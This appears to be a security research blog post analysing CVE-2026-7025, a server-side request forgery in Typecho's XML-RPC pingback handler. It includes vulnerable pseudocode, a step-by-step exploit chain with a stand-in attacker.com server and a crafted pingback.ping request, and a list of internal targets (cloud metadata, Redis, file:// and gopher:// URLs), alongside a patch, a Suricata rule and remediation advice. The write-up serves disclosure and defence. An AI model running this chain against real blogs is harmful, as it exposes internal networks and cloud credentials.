home intel typecho-pingback-ssrf-service-sendpinghandle-cve-2026-7025
CVE Analysis 2026-04-26 · 7 min read

CVE-2026-7025: SSRF in Typecho Pingback via Unvalidated X-Pingback Header

Typecho ≤1.3.0 allows unauthenticated SSRF through Service::sendPingHandle. Attacker-controlled X-Pingback/link values trigger outbound HTTP requests to arbitrary internal hosts.

#server-side-request-forgery#typecho#ping-back-service#remote-attack#unpatched-vulnerability
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7025 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7025HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7025 is a server-side request forgery (SSRF) vulnerability in Typecho's XML-RPC Pingback service endpoint, affecting all releases up to and including 1.3.0. The vulnerability lives in Service::sendPingHandle inside var/Widget/Service.php. An unauthenticated remote attacker can manipulate the X-Pingback response header returned by a controlled external URL — or directly supply a crafted link argument — to make the Typecho server issue outbound HTTP requests to arbitrary destinations, including RFC-1918 addresses and loopback.

The vendor was notified prior to disclosure and did not respond. No patch exists as of initial publication. CVSS 7.3 (HIGH) reflects network-accessible attack vector, no authentication required, and meaningful confidentiality/integrity impact against internal infrastructure.

Affected Component

File: var/Widget/Service.php
Class: Service (extends Typecho_Widget)
Method: sendPingHandle()
Entry point: XML-RPC endpoint, typically reachable at /action/xmlrpc or via the pingback.ping RPC method
Affected parameter: sourceURI (the first argument to pingback.ping), from which the code fetches the remote page and trusts the returned X-Pingback header or scans body <link> tags

Root cause: sendPingHandle() passes an attacker-supplied URL directly to Typecho's HTTP client without validating that the resolved host is a public, non-loopback, non-RFC-1918 address before issuing the request.

Root Cause Analysis

The Pingback specification requires the receiver to fetch the source URI and confirm it actually links back to the target. Typecho implements this fetch, then optionally follows a second URL discovered inside that page (the X-Pingback header or a <link rel="pingback"> tag). Neither hop validates the destination address against a blocklist.


// var/Widget/Service.php — reconstructed pseudocode
// Service::sendPingHandle()

public function sendPingHandle(string $sourceUri, string $targetUri): void
{
    // Step 1: fetch the page at $sourceUri to verify backlink
    // BUG: $sourceUri is attacker-controlled; no IP/hostname validation
    $response = $this->httpClient->send($sourceUri);          // <-- SSRF trigger #1

    $body    = $response->getBody();
    $headers = $response->getHeaders();

    // Step 2: discover the pingback endpoint advertised by the source page
    if (isset($headers['X-Pingback'])) {
        $pingbackEndpoint = $headers['X-Pingback'];           // attacker-controlled header
    } else {
        // scan  in body
        $pingbackEndpoint = $this->extractPingbackLink($body);// attacker-controlled content
    }

    // BUG: $pingbackEndpoint is taken verbatim from the attacker's server response;
    //      no scheme restriction, no host validation, no SSRF filter applied
    if ($pingbackEndpoint) {
        $this->httpClient->send($pingbackEndpoint);           // <-- SSRF trigger #2
    }
}

// Typecho_Http_Client::send() — simplified
public function send(string $url): Typecho_Http_Response
{
    $parsed = parse_url($url);
    // BUG: accepts file://, gopher://, dict://, http://127.0.0.1/...
    //      no scheme allowlist, no private-range block
    $sock = fsockopen($parsed['host'], $parsed['port'] ?? 80);
    fwrite($sock, $this->buildRequest($parsed));
    return $this->readResponse($sock);
}

The double-fetch pattern is the crux: the first fetch already constitutes SSRF, and the second fetch compounds it by trusting a URL embedded in the response of the first fetch — a URL the attacker fully controls.

Exploitation Mechanics


EXPLOIT CHAIN:

1. Attacker stands up a web server at attacker.com:8080.

2. Attacker configures the server to respond to ANY path with:
      HTTP/1.1 200 OK
      X-Pingback: http://192.168.1.1/admin/apply.cgi
      Content-Type: text/html
      [body containing a link to targetUri so backlink check passes]

3. Attacker sends a valid XML-RPC pingback.ping call to the victim Typecho instance:
      POST /action/xmlrpc HTTP/1.1
      Host: victim.blog
      Content-Type: text/xml

      
      
        pingback.ping
        
          http://attacker.com:8080/ssrf
          http://victim.blog/some-post/
        
      

4. Typecho's sendPingHandle() fetches http://attacker.com:8080/ssrf.
   — Outbound request to attacker-controlled host confirmed (SSRF #1).

5. Typecho reads X-Pingback: http://192.168.1.1/admin/apply.cgi from the response.

6. Typecho issues a second outbound request to http://192.168.1.1/admin/apply.cgi.
   — Internal host request confirmed (SSRF #2: pivot to internal network).

7. Response body from 192.168.1.1 is returned through XML-RPC fault message
   or observable via timing/error differentiation — partial response exfiltration.

8. Repeat with file:///etc/passwd or dict://127.0.0.1:6379/... for
   local-file read or Redis unauthenticated command injection depending
   on which PHP HTTP wrappers / fsockopen paths are active.

Memory Layout

This is a logic-class SSRF, not a memory-corruption bug. Rather than heap state, the relevant runtime state is the PHP request context and the HTTP client object at the moment of the vulnerable dispatch:


PHP OBJECT STATE at sendPingHandle() dispatch (simplified var_dump equivalent):

Service object {
  httpClient => Typecho_Http_Client {
    _method    => "GET"
    _timeout   => 10
    _userAgent => "Typecho/1.3.0"
    _url       => "http://attacker.com:8080/ssrf"   // ATTACKER CONTROLLED
  }
  request => Typecho_Request {
    sourceUri  => "http://attacker.com:8080/ssrf"   // raw, unfiltered
    targetUri  => "http://victim.blog/some-post/"
  }
}

AFTER first fetch — second dispatch target resolved from response header:

Service object {
  httpClient => Typecho_Http_Client {
    _url => "http://192.168.1.1/admin/apply.cgi"    // INTERNAL HOST — ATTACKER SUPPLIED
  }
}

PRIVILEGED INTERNAL TARGETS reachable via second hop:
  http://127.0.0.1:6379/     (Redis, no auth)
  http://169.254.169.254/    (AWS/GCP/Azure metadata)
  http://192.168.x.x/        (LAN admin panels)
  file:///etc/passwd          (if allow_url_fopen wrappers active)
  gopher://127.0.0.1:25/...  (SMTP injection)

Patch Analysis

The correct fix requires two independent controls: (1) a scheme allowlist on any URL before it is fetched, and (2) a post-DNS-resolution IP block that rejects private/loopback ranges. Both are necessary — scheme allowlist alone is bypassed by http://127.0.0.1; IP block alone is bypassed by DNS rebinding if resolution happens at validation time rather than at connect time.


// BEFORE (vulnerable) — var/Widget/Service.php

public function sendPingHandle(string $sourceUri, string $targetUri): void
{
    $response        = $this->httpClient->send($sourceUri);
    $pingbackEndpoint = $response->getHeader('X-Pingback')
                     ?? $this->extractPingbackLink($response->getBody());

    if ($pingbackEndpoint) {
        $this->httpClient->send($pingbackEndpoint);  // no validation
    }
}

// AFTER (patched — recommended remediation):

private static array ALLOWED_SCHEMES = ['http', 'https'];

private static array BLOCKED_CIDRS = [
    '127.0.0.0/8',
    '10.0.0.0/8',
    '172.16.0.0/12',
    '192.168.0.0/16',
    '169.254.0.0/16',   // link-local / cloud metadata
    '::1/128',
    'fc00::/7',
];

private function validateSsrfSafeUrl(string $url): bool
{
    $parsed = parse_url($url);
    if (!in_array(strtolower($parsed['scheme'] ?? ''), self::ALLOWED_SCHEMES, true)) {
        return false;  // reject gopher://, file://, dict://, etc.
    }

    // Resolve hostname to IP(s) NOW, before connect, to prevent rebinding window
    $resolved = gethostbynamel($parsed['host']);
    if ($resolved === false || empty($resolved)) {
        return false;
    }

    foreach ($resolved as $ip) {
        foreach (self::BLOCKED_CIDRS as $cidr) {
            if ($this->ipInCidr($ip, $cidr)) {
                return false;  // reject private/loopback
            }
        }
    }
    return true;
}

public function sendPingHandle(string $sourceUri, string $targetUri): void
{
    if (!$this->validateSsrfSafeUrl($sourceUri)) {
        throw new Typecho_Widget_Exception('Invalid source URI', 0);
    }

    $response        = $this->httpClient->send($sourceUri);
    $pingbackEndpoint = $response->getHeader('X-Pingback')
                     ?? $this->extractPingbackLink($response->getBody());

    // Second hop also requires validation — trust nothing from remote response
    if ($pingbackEndpoint) {
        if (!$this->validateSsrfSafeUrl($pingbackEndpoint)) {
            throw new Typecho_Widget_Exception('Invalid pingback endpoint', 0);
        }
        $this->httpClient->send($pingbackEndpoint);
    }
}

Note: gethostbynamel() must be called on a socket that is subsequently pinned to the returned IP to prevent a TOCTOU race exploitable via DNS rebinding. A more robust implementation opens the socket immediately after resolution and passes the numeric IP to fsockopen, bypassing further DNS lookups.

Detection and Indicators

Network-level: Monitor for outbound HTTP/TCP connections originating from the PHP process (typically apache2, php-fpm, or nginx worker) to RFC-1918 ranges or 169.254.169.254. Pingback-legitimate traffic goes to public IPs only.

Log signatures — look for pingback.ping RPC calls where sourceUri resolves to a private address or produces a redirect chain terminating internally:


# Apache / nginx access log pattern indicative of exploitation probe:
POST /action/xmlrpc HTTP/1.1  [external IP]  "pingback.ping"  200

# PHP error log indicating redirected internal fetch (partial exfil via fault):
PHP Warning: file_get_contents(http://192.168.1.1/): failed to open stream ...
# OR successful fetch with no warning — requires egress monitoring

# Suricata / Snort rule (conceptual):
alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
    msg:"CVE-2026-7025 Typecho Pingback SSRF probe";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"/action/xmlrpc"; http_uri;
    content:"pingback.ping"; http_client_body;
    classtype:web-application-attack;
    sid:20267025; rev:1;
)

Remediation

Immediate mitigations (no code change required):

  • Block outbound HTTP/HTTPS from the PHP worker process to RFC-1918 and loopback ranges at the host firewall (iptables / nftables owner match on the www-data UID).
  • Disable the XML-RPC / pingback endpoint entirely if not required: remove or return 405 for POST /action/xmlrpc at the reverse proxy layer.
  • If running on a cloud provider, block 169.254.169.254 at the egress firewall or via IMDSv2 enforcement (AWS) to prevent metadata credential theft.

Code-level fix: Apply the validateSsrfSafeUrl() guard shown in the Patch Analysis section to both the initial $sourceUri fetch and the secondary $pingbackEndpoint fetch. Pin the socket to the pre-resolved IP to close the DNS rebinding window.

Longer term: Typecho should introduce a centralised HTTP client wrapper with SSRF protection enabled by default for all outbound requests, not only the pingback path — similar to how Symfony's HttpClient supports bindTo and IP range restrictions natively.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →